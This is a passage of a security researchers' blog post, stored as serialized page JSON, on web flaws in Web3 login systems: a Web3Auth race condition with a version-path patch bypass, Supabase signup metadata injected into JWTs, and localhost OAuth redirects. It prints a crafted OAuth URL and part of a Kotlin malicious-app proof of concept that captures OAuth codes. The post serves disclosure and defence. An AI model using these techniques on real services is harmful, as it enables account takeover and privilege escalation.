Condition",{"type":23,"tag":24,"props":67224,"children":67225},{},[67226,67228,67233,67235,67241,67243,67248,67250,67255],{"type":28,"value":67227},"As shown in the diagram, the configuration data from the session server is validated only during the ",{"type":23,"tag":64,"props":67229,"children":67231},{"className":67230},[],[67232],{"type":28,"value":67140},{"type":28,"value":67234}," and later used in the ",{"type":23,"tag":64,"props":67236,"children":67238},{"className":67237},[],[67239],{"type":28,"value":67240},"/end",{"type":28,"value":67242}," enpoint. This introduces a potential race condition that can be exploited if an attacker manages to modify the parameters after validation (",{"type":23,"tag":64,"props":67244,"children":67246},{"className":67245},[],[67247],{"type":28,"value":67140},{"type":28,"value":67249},") but before use (",{"type":23,"tag":64,"props":67251,"children":67253},{"className":67252},[],[67254],{"type":28,"value":67240},{"type":28,"value":18240},{"type":23,"tag":24,"props":67257,"children":67258},{},[67259,67261,67268,67270,67275],{"type":28,"value":67260},"To exploit this ",{"type":23,"tag":190,"props":67262,"children":67265},{"href":67263,"rel":67264},"https://portswigger.net/web-security/race-conditions",[194],[67266],{"type":28,"value":67267},"race condition",{"type":28,"value":67269},", an attacker-controlled website can initiate the authentication flow normally. Then, it can send another request to the session server with the same ",{"type":23,"tag":64,"props":67271,"children":67273},{"className":67272},[],[67274],{"type":28,"value":67185},{"type":28,"value":67276}," but with modified malicious parameters.",{"type":23,"tag":24,"props":67278,"children":67279},{},[67280],{"type":23,"tag":2875,"props":67281,"children":67282},{},[67283],{"type":28,"value":67284},"What can be modified to achieve something impactful?",{"type":23,"tag":24,"props":67286,"children":67287},{},[67288,67290,67296,67298,67303],{"type":28,"value":67289},"The answer is quite simple if you understand how OAuth works. The attacker can simply change the ",{"type":23,"tag":64,"props":67291,"children":67293},{"className":67292},[],[67294],{"type":28,"value":67295},"redirect_uri",{"type":28,"value":67297}," parameter to point to their own website and leak the secret token from the query string. With the secret token, they can authenticate against the application defined by ",{"type":23,"tag":64,"props":67299,"children":67301},{"className":67300},[],[67302],{"type":28,"value":67127},{"type":28,"value":199},{"type":23,"tag":24,"props":67305,"children":67306},{},[67307],{"type":23,"tag":149,"props":67308,"children":67310},{"alt":48104,"src":67309},"/posts/web2-in-web3/image-3.png",[],{"type":23,"tag":24,"props":67312,"children":67313},{},[67314],{"type":28,"value":67315},"Using this exploit, we were able to create a website capable of taking over the accounts of victims who followed the standard OAuth flow.",{"type":23,"tag":7092,"props":67317,"children":67319},{"id":67318},"patch-bypass",[67320],{"type":28,"value":67321},"Patch & Bypass",{"type":23,"tag":24,"props":67323,"children":67324},{},[67325],{"type":28,"value":67326},"The vulnerability was reported and remediated on the same day (super quickly!). However, we found that the fix was not backported to older versions.",{"type":23,"tag":24,"props":67328,"children":67329},{},[67330],{"type":28,"value":67331},"To bypass the fix we were able to change the version in the URL:",{"type":23,"tag":14178,"props":67333,"children":67334},{},[67335,67346],{"type":23,"tag":77,"props":67336,"children":67337},{},[67338,67344],{"type":23,"tag":64,"props":67339,"children":67341},{"className":67340},[],[67342],{"type":28,"value":67343},"https://auth.web3auth.io/v8/start",{"type":28,"value":67345}," (latest version)",{"type":23,"tag":77,"props":67347,"children":67348},{},[67349,67355],{"type":23,"tag":64,"props":67350,"children":67352},{"className":67351},[],[67353],{"type":28,"value":67354},"https://auth.web3auth.io/v6/start",{"type":28,"value":67356}," (bypass)",{"type":23,"tag":24,"props":67358,"children":67359},{},[67360],{"type":28,"value":67361},"We reported this issue, and it was addressed just as quickly!",{"type":23,"tag":31,"props":67363,"children":67365},{"id":67364},"supabase-metadata-manipulation",[67366],{"type":28,"value":67367},"Supabase metadata manipulation",{"type":23,"tag":7092,"props":67369,"children":67371},{"id":67370},"supabase-authentication-flow",[67372],{"type":28,"value":67373},"Supabase Authentication flow",{"type":23,"tag":24,"props":67375,"children":67376},{},[67377,67384,67386,67393],{"type":23,"tag":190,"props":67378,"children":67381},{"href":67379,"rel":67380},"https://supabase.com/docs/guides/auth",[194],[67382],{"type":28,"value":67383},"Supabase",{"type":28,"value":67385}," is a Backend-as-a-Service (BaaS) platform that provides authentication, database, and real-time APIs. The authentication process begins when a user registers or logs in. Supabase generates a ",{"type":23,"tag":190,"props":67387,"children":67390},{"href":67388,"rel":67389},"https://jwt.io/",[194],[67391],{"type":28,"value":67392},"JWT",{"type":28,"value":67394}," for the authenticated user, embedding claims such as the user ID, roles, and additional metadata (either user-provided or system-generated). This token is then returned to the client and used for subsequent API requests, during which the server validates the JWT to confirm the user’s identity and permissions.",{"type":23,"tag":7092,"props":67396,"children":67398},{"id":67397},"jwt-verification",[67399],{"type":28,"value":67400},"JWT verification",{"type":23,"tag":24,"props":67402,"children":67403},{},[67404,67406,67411,67412,67418,67420,67426],{"type":28,"value":67405},"In one of our clients' systems, we discovered a vulnerability that allowed the inclusion of custom fields, such as ",{"type":23,"tag":64,"props":67407,"children":67409},{"className":67408},[],[67410],{"type":28,"value":67053},{"type":28,"value":8478},{"type":23,"tag":64,"props":67413,"children":67415},{"className":67414},[],[67416],{"type":28,"value":67417},"identity_data",{"type":28,"value":67419},", in a signup request by manipulating the input inside the ",{"type":23,"tag":64,"props":67421,"children":67423},{"className":67422},[],[67424],{"type":28,"value":67425},"\"data\": {}",{"type":28,"value":67427}," structure. These fields were then directly reflected in the issued JWT without validation.",{"type":23,"tag":24,"props":67429,"children":67430},{},[67431,67433,67439,67440,67446,67448,67454],{"type":28,"value":67432},"For example, an attacker could send a signup request with arbitrary data, such as ",{"type":23,"tag":64,"props":67434,"children":67436},{"className":67435},[],[67437],{"type":28,"value":67438},"\"role\": \"admin\"",{"type":28,"value":10621},{"type":23,"tag":64,"props":67441,"children":67443},{"className":67442},[],[67444],{"type":28,"value":67445},"\"email_verified\": true",{"type":28,"value":67447},", which would subsequently be included in the JWT claims. Additionally, it was possible to insert arbitrary fields beyond typical inputs, such as ",{"type":23,"tag":64,"props":67449,"children":67451},{"className":67450},[],[67452],{"type":28,"value":67453},"\"test\": \"test\"",{"type":28,"value":67455},", enabling us to inject arbitrary data into the final JWT token.",{"type":23,"tag":24,"props":67457,"children":67458},{},[67459],{"type":23,"tag":149,"props":67460,"children":67462},{"alt":48104,"src":67461},"/posts/web2-in-web3/image-4.png",[],{"type":23,"tag":24,"props":67464,"children":67465},{},[67466],{"type":28,"value":67467},"In this example we are controlling the \"role\" field within the user metadata. If the application manage roles using the metadata, it would be vulnerable to a privilege escalation since anyone could inject any role there.",{"type":23,"tag":24,"props":67469,"children":67470},{},[67471],{"type":28,"value":67472},"The attacker could subsequently log in on the main platform, retrieve the token, and verify that their injected parameters persist in the JWT by submitting it to a verification endpoint. This happens because a function parseSupaBase was parsing and verifying everything generated by the JWT supabase token.",{"type":23,"tag":435,"props":67474,"children":67476},{"className":28878,"code":67475,"language":28880,"meta":7,"style":7},"function parseSupaBase(token) {\n try {\n const [header, payload, signature] = token.split('.');\n const decodedHeader = JSON.parse(atob(header));\n const decodedPayload = JSON.parse(atob(payload));\n return { header: decodedHeader, payload: decodedPayload, signature };\n } catch (error) {\n console.error('Error parsing token:', error);\n return null;\n }\n}\n",[67477],{"type":23,"tag":64,"props":67478,"children":67479},{"__ignoreMap":7},[67480,67505,67517,67586,67635,67683,67728,67751,67788,67804,67811],{"type":23,"tag":481,"props":67481,"children":67482},{"class":483,"line":484},[67483,67487,67492,67496,67501],{"type":23,"tag":481,"props":67484,"children":67485},{"style":497},[67486],{"type":28,"value":28892},{"type":23,"tag":481,"props":67488,"children":67489},{"style":610},[67490],{"type":28,"value":67491}," parseSupaBase",{"type":23,"tag":481,"props":67493,"children":67494},{"style":525},[67495],{"type":28,"value":618},{"type":23,"tag":481,"props":67497,"children":67498},{"style":508},[67499],{"type":28,"value":67500},"token",{"type":23,"tag":481,"props":67502,"children":67503},{"style":525},[67504],{"type":28,"value":12292},{"type":23,"tag":481,"props":67506,"children":67507},{"class":483,"line":351},[67508,67513],{"type":23,"tag":481,"props":67509,"children":67510},{"style":535},[67511],{"type":28,"value":67512}," try",{"type":23,"tag":481,"props":67514,"children":67515},{"style":525},[67516],{"type":28,"value":809},{"type":23,"tag":481,"props":67518,"children":67519},{"class":483,"line":531},[67520,67524,67528,67533,67537,67542,67546,67551,67555,67559,67564,67568,67573,67577,67582],{"type":23,"tag":481,"props":67521,"children":67522},{"style":497},[67523],{"type":28,"value":30417},{"type":23,"tag":481,"props":67525,"children":67526},{"style":525},[67527],{"type":28,"value":20531},{"type":23,"tag":481,"props":67529,"children":67530},{"style":508},[67531],{"type":28,"value":67532},"header",{"type":23,"tag":481,"props":67534,"children":67535},{"style":525},[67536],{"type":28,"value":588},{"type":23,"tag":481,"props":67538,"children":67539},{"style":508},[67540],{"type":28,"value":67541},"payload",{"type":23,"tag":481,"props":67543,"children":67544},{"style":525},[67545],{"type":28,"value":588},{"type":23,"tag":481,"props":67547,"children":67548},{"style":508},[67549],{"type":28,"value":67550},"signature",{"type":23,"tag":481,"props":67552,"children":67553},{"style":525},[67554],{"type":28,"value":6141},{"type":23,"tag":481,"props":67556,"children":67557},{"style":514},[67558],{"type":28,"value":603},{"type":23,"tag":481,"props":67560,"children":67561},{"style":508},[67562],{"type":28,"value":67563}," token",{"type":23,"tag":481,"props":67565,"children":67566},{"style":525},[67567],{"type":28,"value":199},{"type":23,"tag":481,"props":67569,"children":67570},{"style":610},[67571],{"type":28,"value":67572},"split",{"type":23,"tag":481,"props":67574,"children":67575},{"style":525},[67576],{"type":28,"value":618},{"type":23,"tag":481,"props":67578,"children":67579},{"style":1805},[67580],{"type":28,"value":67581},"'.'",{"type":23,"tag":481,"props":67583,"children":67584},{"style":525},[67585],{"type":28,"value":1366},{"type":23,"tag":481,"props":67587,"children":67588},{"class":483,"line":567},[67589,67593,67598,67602,67606,67610,67614,67618,67623,67627,67631],{"type":23,"tag":481,"props":67590,"children":67591},{"style":497},[67592],{"type":28,"value":30417},{"type":23,"tag":481,"props":67594,"children":67595},{"style":508},[67596],{"type":28,"value":67597}," decodedHeader",{"type":23,"tag":481,"props":67599,"children":67600},{"style":514},[67601],{"type":28,"value":517},{"type":23,"tag":481,"props":67603,"children":67604},{"style":508},[67605],{"type":28,"value":35046},{"type":23,"tag":481,"props":67607,"children":67608},{"style":525},[67609],{"type":28,"value":199},{"type":23,"tag":481,"props":67611,"children":67612},{"style":610},[67613],{"type":28,"value":36730},{"type":23,"tag":481,"props":67615,"children":67616},{"style":525},[67617],{"type":28,"value":618},{"type":23,"tag":481,"props":67619,"children":67620},{"style":610},[67621],{"type":28,"value":67622},"atob",{"type":23,"tag":481,"props":67624,"children":67625},{"style":525},[67626],{"type":28,"value":618},{"type":23,"tag":481,"props":67628,"children":67629},{"style":508},[67630],{"type":28,"value":67532},{"type":23,"tag":481,"props":67632,"children":67633},{"style":525},[67634],{"type":28,"value":4701},{"type":23,"tag":481,"props":67636,"children":67637},{"class":483,"line":678},[67638,67642,67647,67651,67655,67659,67663,67667,67671,67675,67679],{"type":23,"tag":481,"props":67639,"children":67640},{"style":497},[67641],{"type":28,"value":30417},{"type":23,"tag":481,"props":67643,"children":67644},{"style":508},[67645],{"type":28,"value":67646}," decodedPayload",{"type":23,"tag":481,"props":67648,"children":67649},{"style":514},[67650],{"type":28,"value":517},{"type":23,"tag":481,"props":67652,"children":67653},{"style":508},[67654],{"type":28,"value":35046},{"type":23,"tag":481,"props":67656,"children":67657},{"style":525},[67658],{"type":28,"value":199},{"type":23,"tag":481,"props":67660,"children":67661},{"style":610},[67662],{"type":28,"value":36730},{"type":23,"tag":481,"props":67664,"children":67665},{"style":525},[67666],{"type":28,"value":618},{"type":23,"tag":481,"props":67668,"children":67669},{"style":610},[67670],{"type":28,"value":67622},{"type":23,"tag":481,"props":67672,"children":67673},{"style":525},[67674],{"type":28,"value":618},{"type":23,"tag":481,"props":67676,"children":67677},{"style":508},[67678],{"type":28,"value":67541},{"type":23,"tag":481,"props":67680,"children":67681},{"style":525},[67682],{"type":28,"value":4701},{"type":23,"tag":481,"props":67684,"children":67685},{"class":483,"line":784},[67686,67690,67694,67699,67703,67707,67712,67716,67720,67724],{"type":23,"tag":481,"props":67687,"children":67688},{"style":535},[67689],{"type":28,"value":13234},{"type":23,"tag":481,"props":67691,"children":67692},{"style":525},[67693],{"type":28,"value":7069},{"type":23,"tag":481,"props":67695,"children":67696},{"style":508},[67697],{"type":28,"value":67698},"header:",{"type":23,"tag":481,"props":67700,"children":67701},{"style":508},[67702],{"type":28,"value":67597},{"type":23,"tag":481,"props":67704,"children":67705},{"style":525},[67706],{"type":28,"value":588},{"type":23,"tag":481,"props":67708,"children":67709},{"style":508},[67710],{"type":28,"value":67711},"payload:",{"type":23,"tag":481,"props":67713,"children":67714},{"style":508},[67715],{"type":28,"value":67646},{"type":23,"tag":481,"props":67717,"children":67718},{"style":525},[67719],{"type":28,"value":588},{"type":23,"tag":481,"props":67721,"children":67722},{"style":508},[67723],{"type":28,"value":67550},{"type":23,"tag":481,"props":67725,"children":67726},{"style":525},[67727],{"type":28,"value":15793},{"type":23,"tag":481,"props":67729,"children":67730},{"class":483,"line":812},[67731,67735,67739,67743,67747],{"type":23,"tag":481,"props":67732,"children":67733},{"style":525},[67734],{"type":28,"value":13269},{"type":23,"tag":481,"props":67736,"children":67737},{"style":535},[67738],{"type":28,"value":45936},{"type":23,"tag":481,"props":67740,"children":67741},{"style":525},[67742],{"type":28,"value":578},{"type":23,"tag":481,"props":67744,"children":67745},{"style":508},[67746],{"type":28,"value":12352},{"type":23,"tag":481,"props":67748,"children":67749},{"style":525},[67750],{"type":28,"value":12292},{"type":23,"tag":481,"props":67752,"children":67753},{"class":483,"line":825},[67754,67759,67763,67767,67771,67776,67780,67784],{"type":23,"tag":481,"props":67755,"children":67756},{"style":508},[67757],{"type":28,"value":67758}," console",{"type":23,"tag":481,"props":67760,"children":67761},{"style":525},[67762],{"type":28,"value":199},{"type":23,"tag":481,"props":67764,"children":67765},{"style":610},[67766],{"type":28,"value":12352},{"type":23,"tag":481,"props":67768,"children":67769},{"style":525},[67770],{"type":28,"value":618},{"type":23,"tag":481,"props":67772,"children":67773},{"style":1805},[67774],{"type":28,"value":67775},"'Error parsing token:'",{"type":23,"tag":481,"props":67777,"children":67778},{"style":525},[67779],{"type":28,"value":588},{"type":23,"tag":481,"props":67781,"children":67782},{"style":508},[67783],{"type":28,"value":12352},{"type":23,"tag":481,"props":67785,"children":67786},{"style":525},[67787],{"type":28,"value":1366},{"type":23,"tag":481,"props":67789,"children":67790},{"class":483,"line":843},[67791,67795,67800],{"type":23,"tag":481,"props":67792,"children":67793},{"style":535},[67794],{"type":28,"value":13234},{"type":23,"tag":481,"props":67796,"children":67797},{"style":497},[67798],{"type":28,"value":67799}," null",{"type":23,"tag":481,"props":67801,"children":67802},{"style":525},[67803],{"type":28,"value":528},{"type":23,"tag":481,"props":67805,"children":67806},{"class":483,"line":864},[67807],{"type":23,"tag":481,"props":67808,"children":67809},{"style":525},[67810],{"type":28,"value":879},{"type":23,"tag":481,"props":67812,"children":67813},{"class":483,"line":873},[67814],{"type":23,"tag":481,"props":67815,"children":67816},{"style":525},[67817],{"type":28,"value":1443},{"type":23,"tag":7092,"props":67819,"children":67820},{"id":37852},[67821],{"type":28,"value":37855},{"type":23,"tag":24,"props":67823,"children":67824},{},[67825,67827,67834,67836,67842],{"type":28,"value":67826},"Developers should avoid trusting input from their Supabase custom domain. ",{"type":23,"tag":190,"props":67828,"children":67831},{"href":67829,"rel":67830},"https://supabase.com/docs/guides/database/postgres/row-level-security",[194],[67832],{"type":28,"value":67833},"Row-Level Security",{"type":28,"value":67835}," (RLS) on Supabase should be enforced, plus important and private fields should be defined in ",{"type":23,"tag":64,"props":67837,"children":67839},{"className":67838},[],[67840],{"type":28,"value":67841},"app_metadata",{"type":28,"value":67843},". These fields must be strictly validated at every step of their creation and update processes.",{"type":23,"tag":31,"props":67845,"children":67847},{"id":67846},"oauth-in-development-environments",[67848],{"type":28,"value":67849},"OAuth in development environments",{"type":23,"tag":24,"props":67851,"children":67852},{},[67853,67855,67862,67864,67869],{"type":28,"value":67854},"After watching a ",{"type":23,"tag":190,"props":67856,"children":67859},{"href":67857,"rel":67858},"https://docs.google.com/presentation/d/1571_ZSOtfVat9u63zfn1ugTPZRN7pQsFIblcxci3czM/edit",[194],[67860],{"type":28,"value":67861},"talk",{"type":28,"value":67863}," by Luan Herrera on exploiting the logic of desktop apps that use OAuth for authentication (specifically using a localhost server), we noticed that many of our customers also permitted localhost within the ",{"type":23,"tag":64,"props":67865,"children":67867},{"className":67866},[],[67868],{"type":28,"value":67295},{"type":28,"value":67870}," parameter during the OAuth flow.",{"type":23,"tag":24,"props":67872,"children":67873},{},[67874,67876,67883],{"type":28,"value":67875},"Herrera's research highlights that if localhost is allowed as a redirect URI, it is generally not exploitable in a desktop environment because impersonating localhost without ",{"type":23,"tag":190,"props":67877,"children":67880},{"href":67878,"rel":67879},"https://www.cloudflare.com/learning/security/what-is-remote-code-execution/",[194],[67881],{"type":28,"value":67882},"Remote Code Execution",{"type":28,"value":67884}," (RCE) is impossible. However, the scenario changes in a mobile environment, where it is feasible to open a localhost web server using a malicious app, making exploitation possible.",{"type":23,"tag":24,"props":67886,"children":67887},{},[67888,67890,67896],{"type":28,"value":67889},"In one of our client's implementations, we identified that ",{"type":23,"tag":64,"props":67891,"children":67893},{"className":67892},[],[67894],{"type":28,"value":67895},"localhost:3000",{"type":28,"value":67897}," was permitted. The exploitation method is the same as demonstrated in Herrera's talk. However, we observed that localhost servers are frequently used and whitelisted by developers, not only for desktop applications but also for testing and development environments.",{"type":23,"tag":24,"props":67899,"children":67900},{},[67901],{"type":28,"value":67902},"For the exploitation, the final Google OAuth URL was constructed as follows:",{"type":23,"tag":435,"props":67904,"children":67908},{"className":67905,"code":67906,"language":67907,"meta":7,"style":7},"language-url shiki shiki-themes slack-dark","https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\n","url",[67909],{"type":23,"tag":64,"props":67910,"children":67911},{"__ignoreMap":7},[67912],{"type":23,"tag":481,"props":67913,"children":67914},{"class":483,"line":484},[67915],{"type":23,"tag":481,"props":67916,"children":67917},{},[67918],{"type":28,"value":67906},{"type":23,"tag":24,"props":67920,"children":67921},{},[67922],{"type":28,"value":67923},"Since there was no public exploit, we also created a proof of concept demonstrating how a malicious APK can be created to steal the OAuth token simply by opening the malicious app. This occurs without any user interaction and results in account takeover.",{"type":23,"tag":435,"props":67925,"children":67929},{"className":67926,"code":67927,"language":67928,"meta":7,"style":7},"language-kotlin shiki shiki-themes slack-dark","class MainActivity : AppCompatActivity() {\n\n override fun onCreate(savedInstanceState: Bundle?) {\n super.onCreate(savedInstanceState)\n\n // Start the Ktor web server\n CoroutineScope(Dispatchers.IO).launch {\n try {\n startWebServer()\n Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n } catch (e: Exception) {\n Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n }\n }\n\n // Open the Google OAuth page\n val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n startActivity(browserIntent)\n }\n\n private fun startWebServer() {\n embeddedServer(CIO, port = 3000) {\n routing {\n get(\"{...}\") {\n call.respondHtml {\n head {\n meta(charset = \"UTF-8\")\n meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n title(\"OAuth Redirect\")\n }\n body {\n h1 { +\"Google OAuth Redirect\" }\n script {\n +\"document.body.innerText = location.search;\"\n }\n }\n }\n }\n }\n }.start(wait = true)\n }\n}\n","kotlin",[67930],{"type":23,"tag":64,"props":67931,"children":67932},{"__ignoreMap":7},[67933,67960,67967,67999,68021,68028,68036,68058,68070,68082,68117,68143,68193,68200,68207,68214,68222,68244,68279,68292,68299,68306,68327,68353,68365,68386,68403,68415,68441,68480,68501,68509,68521,68546,68558,68571,68579,68586,68594,68602,68609,68639,68646],{"type":23,"tag":481,"props":67934,"children":67935},{"class":483,"line":484},[67936,67941,67946,67951,67956],{"type":23,"tag":481,"props":67937,"children":67938},{"style":497},[67939],{"type":28,"value":67940},"class",{"type":23,"tag":481,"props":67942,"children":67943},{"style":943},[67944],{"type":28,"value":67945}," MainActivity",{"type":23,"tag":481,"props":67947,"children":67948},{"style":525},[67949],{"type":28,"value":67950}," : ",{"type":23,"tag":481,"props":67952,"children":67953},{"style":943},[67954],{"type":28,"value":67955},"AppCompatActivity",{"type":23,"tag":481,"props":67957,"children":67958},{"style":525},[67959],{"type":28,"value":13226},{"type":23,"tag":481,"props":67961,"children":67962},{"class":483,"line":351},[67963],{"type":23,"tag":481,"props":67964,"children":67965},{"emptyLinePlaceholder":15},[67966],{"type":28,"value":1210},{"type":23,"tag":481,"props":67968,"children":67969},{"class":483,"line":531},[67970,67975,67979,67984,67989,67994],{"type":23,"tag":481,"props":67971,"children":67972},{"style":497},[67973],{"type":28,"value":67974}," override",{"type":23,"tag":481,"props":67976,"children":67977},{"style":497},[67978],{"type":28,"value":3684},{"type":23,"tag":481,"props":67980,"children":67981},{"style":610},[67982],{"type":28,"value":67983}," onCreate",{"type":23,"tag":481,"props":67985,"children":67986},{"style":525},[67987],{"type":28,"value":67988},"(savedInstanceState: ",{"type":23,"tag":481,"props":67990,"children":67991},{"style":943},[67992],{"type":28,"value":67993},"Bundle",{"type":23,"tag":481,"props":67995,"children":67996},{"style":525},[67997],{"type":28,"value":67998},"?) {\n",{"type":23,"tag":481,"props":68000,"children":68001},{"class":483,"line":567},[68002,68007,68011,68016],{"type":23,"tag":481,"props":68003,"children":68004},{"style":497},[68005],{"type":28,"value":68006}," super",{"type":23,"tag":481,"props":68008,"children":68009},{"style":525},[68010],{"type":28,"value":199},{"type":23,"tag":481,"props":68012,"children":68013},{"style":610},[68014],{"type":28,"value":68015},"onCreate",{"type":23,"tag":481,"props":68017,"children":68018},{"style":525},[68019],{"type":28,"value":68020},"(savedInstanceState)\n",{"type":23,"tag":481,"props":68022,"children":68023},{"class":483,"line":678},[68024],{"type":23,"tag":481,"props":68025,"children":68026},{"emptyLinePlaceholder":15},[68027],{"type":28,"value":1210},{"type":23,"tag":481,"props":68029,"children":68030},{"class":483,"line":784},[68031],{"type":23,"tag":481,"props":68032,"children":68033},{"style":488},[68034],{"type":28,"value":68035}," // Start the Ktor web server\n",{"type":23,"tag":481,"props":68037,"children":68038},{"class":483,"line":812},[68039,68044,68049,68054],{"type":23,"tag":481,"props":68040,"children":68041},{"style":610},[68042],{"type":28,"value":68043}," CoroutineScope",{"type":23,"tag":481,"props":68045,"children":68046},{"style":525},[68047],{"type":28,"value":68048},"(Dispatchers.IO).",{"type":23,"tag":481,"props":68050,"children":68051},{"style":610},[68052],{"type":28,"value":68053},"launch",{"type":23,"tag":481,"props":68055,"children":68056},{"style":525},[68057],{"type":28,"value":809},{"type":23,"tag":481,"props":68059,"children":68060},{"class":483,"line":825},[68061,68066],{"type":23,"tag":481,"props":68062,"children":68063},{"style":535},[68064],{"type":28,"value":68065}," try",{"type":23,"tag":481,"props":68067,"children":68068},{"style":525},[68069],{"type":28,"value":809},{"type":23,"tag":481,"props":68071,"children":68072},{"class":483,"line":843},[68073,68078],{"type":23,"tag":481,"props":68074,"children":68075},{"style":610},[68076],{"type":28,"value":68077}," startWebServer",{"type":23,"tag":481,"props":68079,"children":68080},{"style":525},[68081],{"type":28,"value":5214},{"type":23,"tag":481,"props":68083,"children":68084},{"class":483,"line":864},[68085,68090,68095,68099,68104,68108,68113],{"type":23,"tag":481,"props":68086,"children":68087},{"style":525},[68088],{"type":28,"value":68089}," Log.",{"type":23,"tag":481,"props":68091,"children":68092},{"style":610},[68093],{"type":28,"value":68094},"d",{"type":23,"tag":481,"props":68096,"children":68097},{"style":525},[68098],{"type":28,"value":618},{"type":23,"tag":481,"props":68100,"children":68101},{"style":1805},[68102],{"type":28,"value":68103},"\"WebServer\"",{"type":23,"tag":481,"props":68105,"children":68106},{"style":525},[68107],{"type":28,"value":588},{"type":23,"tag":481,"props":68109,"children":68110},{"style":1805},[68111],{"type":28,"value":68112},"\"Server started on http://localhost:3000\"",{"type":23,"tag":481,"props":68114,"children":68115},{"style":525},[68116],{"type":28,"value":675},{"type":23,"tag":481,"props":68118,"children":68119},{"class":483,"line":873},[68120,68125,68129,68134,68139],{"type":23,"tag":481,"props":68121,"children":68122},{"style":525},[68123],{"type":28,"value":68124}," } ",{"type":23,"tag":481,"props":68126,"children":68127},{"style":497},[68128],{"type":28,"value":45936},{"type":23,"tag":481,"props":68130,"children":68131},{"style":525},[68132],{"type":28,"value":68133}," (e: ",{"type":23,"tag":481,"props":68135,"children":68136},{"style":943},[68137],{"type":28,"value":68138},"Exception",{"type":23,"tag":481,"props":68140,"children":68141},{"style":525},[68142],{"type":28,"value":12292},{"type":23,"tag":481,"props":68144,"children":68145},{"class":483,"line":1125},[68146,68150,68154,68158,68162,68166,68171,68175,68180,68184,68188],{"type":23,"tag":481,"props":68147,"children":68148},{"style":525},[68149],{"type":28,"value":68089},{"type":23,"tag":481,"props":68151,"children":68152},{"style":610},[68153],{"type":28,"value":48980},{"type":23,"tag":481,"props":68155,"children":68156},{"style":525},[68157],{"type":28,"value":618},{"type":23,"tag":481,"props":68159,"children":68160},{"style":1805},[68161],{"type":28,"value":68103},{"type":23,"tag":481,"props":68163,"children":68164},{"style":525},[68165],{"type":28,"value":588},{"type":23,"tag":481,"props":68167,"children":68168},{"style":1805},[68169],{"type":28,"value":68170},"\"Error starting server: ",{"type":23,"tag":481,"props":68172,"children":68173},{"style":497},[68174],{"type":28,"value":31625},{"type":23,"tag":481,"props":68176,"children":68177},{"style":514},[68178],{"type":28,"value":68179},"e.message",{"type":23,"tag":481,"props":68181,"children":68182},{"style":497},[68183],{"type":28,"value":31657},{"type":23,"tag":481,"props":68185,"children":68186},{"style":1805},[68187],{"type":28,"value":17557},{"type":23,"tag":481,"props":68189,"children":68190},{"style":525},[68191],{"type":28,"value":68192},", e)\n",{"type":23,"tag":481,"props":68194,"children":68195},{"class":483,"line":1142},[68196],{"type":23,"tag":481,"props":68197,"children":68198},{"style":525},[68199],{"type":28,"value":56412},{"type":23,"tag":481,"props":68201,"children":68202},{"class":483,"line":1159},[68203],{"type":23,"tag":481,"props":68204,"children":68205},{"style":525},[68206],{"type":28,"value":870},{"type":23,"tag":481,"props":68208,"children":68209},{"class":483,"line":1172},[68210],{"type":23,"tag":481,"props":68211,"children":68212},{"emptyLinePlaceholder":15},[68213],{"type":28,"value":1210},{"type":23,"tag":481,"props":68215,"children":68216},{"class":483,"line":1181},[68217],{"type":23,"tag":481,"props":68218,"children":68219},{"style":488},[68220],{"type":28,"value":68221}," // Open the Google OAuth page\n",{"type":23,"tag":481,"props":68223,"children":68224},{"class":483,"line":1204},[68225,68230,68235,68239],{"type":23,"tag":481,"props":68226,"children":68227},{"style":497},[68228],{"type":28,"value":68229}," val",{"type":23,"tag":481,"props":68231,"children":68232},{"style":525},[68233],{"type":28,"value":68234}," googleOAuthUrl ",{"type":23,"tag":481,"props":68236,"children":68237},{"style":514},[68238],{"type":28,"value":603},{"type":23,"tag":481,"props":68240,"children":68241},{"style":1805},[68242],{"type":28,"value":68243}," \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n",{"type":23,"tag":481,"props":68245,"children":68246},{"class":483,"line":1213},[68247,68251,68256,68260,68265,68270,68274],{"type":23,"tag":481,"props":68248,"children":68249},{"style":497},[68250],{"type":28,"value":68229},{"type":23,"tag":481,"props":68252,"children":68253},{"style":525},[68254],{"type":28,"value":68255}," browserIntent ",{"type":23,"tag":481,"props":68257,"children":68258},{"style":514},[68259],{"type":28,"value":603},{"type":23,"tag":481,"props":68261,"children":68262},{"style":610},[68263],{"type":28,"value":68264}," Intent",{"type":23,"tag":481,"props":68266,"children":68267},{"style":525},[68268],{"type":28,"value":68269},"(Intent.ACTION_VIEW, Uri.",{"type":23,"tag":481,"props":68271,"children":68272},{"style":610},[68273],{"type":28,"value":36730},{"type":23,"tag":481,"props":68275,"children":68276},{"style":525},[68277],{"type":28,"value":68278},"(googleOAuthUrl))\n",{"type":23,"tag":481,"props":68280,"children":68281},{"class":483,"line":1222},[68282,68287],{"type":23,"tag":481,"props":68283,"children":68284},{"style":610},[68285],{"type":28,"value":68286}," 